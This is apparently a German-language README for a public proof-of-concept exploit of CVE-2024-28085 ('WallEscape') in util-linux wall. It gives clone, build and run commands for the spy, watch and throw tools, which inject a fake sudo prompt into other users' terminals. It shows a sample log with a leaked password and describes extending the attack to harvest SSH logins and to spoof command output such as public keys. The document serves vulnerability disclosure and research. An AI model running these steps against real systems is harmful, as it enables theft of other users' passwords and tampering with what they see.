Wall-Escape (CVE-2024-28085)

Der wall-Befehl von util-linux filtert keine Escape-Sequenzen aus Kommandozeilenargumenten. Der anfällige Code wurde in Commit cdd3cc7fa4 (2013) eingeführt. Seitdem ist jede Version verwundbar. Ein vollständiger Bericht ist hier zu finden. Ich habe diesen Fehler "WallEscape" getauft.

Dieser Exploit-Code war erfolgreich beim Leaken von Passwörtern auf Ubuntu 22.04 mit Standardkonfigurationen.

Konfiguration

Stellen Sie sicher, dass die Hintergrundfarbe und der Benutzername in throw.c auf geeignete Werte gesetzt sind.

Bauen und ausführen

Angriffseinrichtung

git clone https://github.com/skyler-ferrante/CVE-2024-28085.git
./build.sh
./spy > proc.log & ./watch "sudo systemctl start apache2"; ./watch "systemctl start apache2"; sleep .01; ./throw

Ich habe sudo systemctl start apache2 verwendet, da es kurz läuft und nicht viel Ausgabe erzeugt. Stellen Sie sicher, dass Sie spy nach dem Ausführen des Exploits beenden: pkill spy.

Dann in einem anderen Terminal

sudo su
sudo systemctl start apache2

Je nach System und ob lokal oder über SSH zugegriffen wird, ist es möglicherweise nicht erforderlich, dass das Opfer su aufruft.

Dies sollte dazu führen, dass die gefälschte sudo-Eingabeaufforderung im Terminal des Opfers erscheint. Da viele Systeme nicht gefundene Befehle preisgeben, könnte das Passwort des Opfers in der proc.log auftauchen.

Beispiel proc.log

sudo systemctl start apache2
systemctl start apache2
./throw
bash
/usr/bin/python3 /usr/lib/command-not-found -- Password123!
/usr/bin/snap advise-snap --format=json --command Password123!

Hinweis

Einige Leute haben missverstanden, unter welchen Szenarien dies verwendet werden könnte, um einen anderen Benutzer anzugreifen. Wir müssen nicht sudo angreifen, wir können überall angreifen, wo der Benutzer sein Passwort eingibt. Auf meinem System wird nach der Anmeldung eines Benutzers über OpenSSH der Befehl /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new ausgeführt.

Um Passwörter von OpenSSH-Benutzern zu leaken, stellen Sie sich Folgendes vor:

./watch "sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new"; sleep 1; ./throw

Wir können dann eine "Passwort falsch"-Nachricht senden, nachdem sich ein Benutzer erfolgreich per SSH angemeldet hat. Sudo war nur der Befehl, den ich für die Demo gewählt habe, aber es gibt viele mögliche Ziele. Es ist nicht schwer vorstellbar, dass ein Angreifer einen Credential-Harvester einrichtet, um die Anmeldedaten jedes Benutzers zu sammeln, der sich per SSH anmeldet. Dies ist selbst für die am wenigsten privilegierten Benutzer wie www-data möglich.

Diese Sicherheitslücke gibt Angreifern auch die Möglichkeit, die Ausgabe jedes Befehls zu ändern. Stellen Sie sich vor, wir warten auf den Befehl cat ~/.ssh/id_rsa.pub". Ein Angreifer könnte ändern, was der Benutzer für seinen öffentlichen Schlüssel kopiert. Bei dieser Angriffsart benötigen wir keine Leaking-Primitive für nicht gefundene Befehle.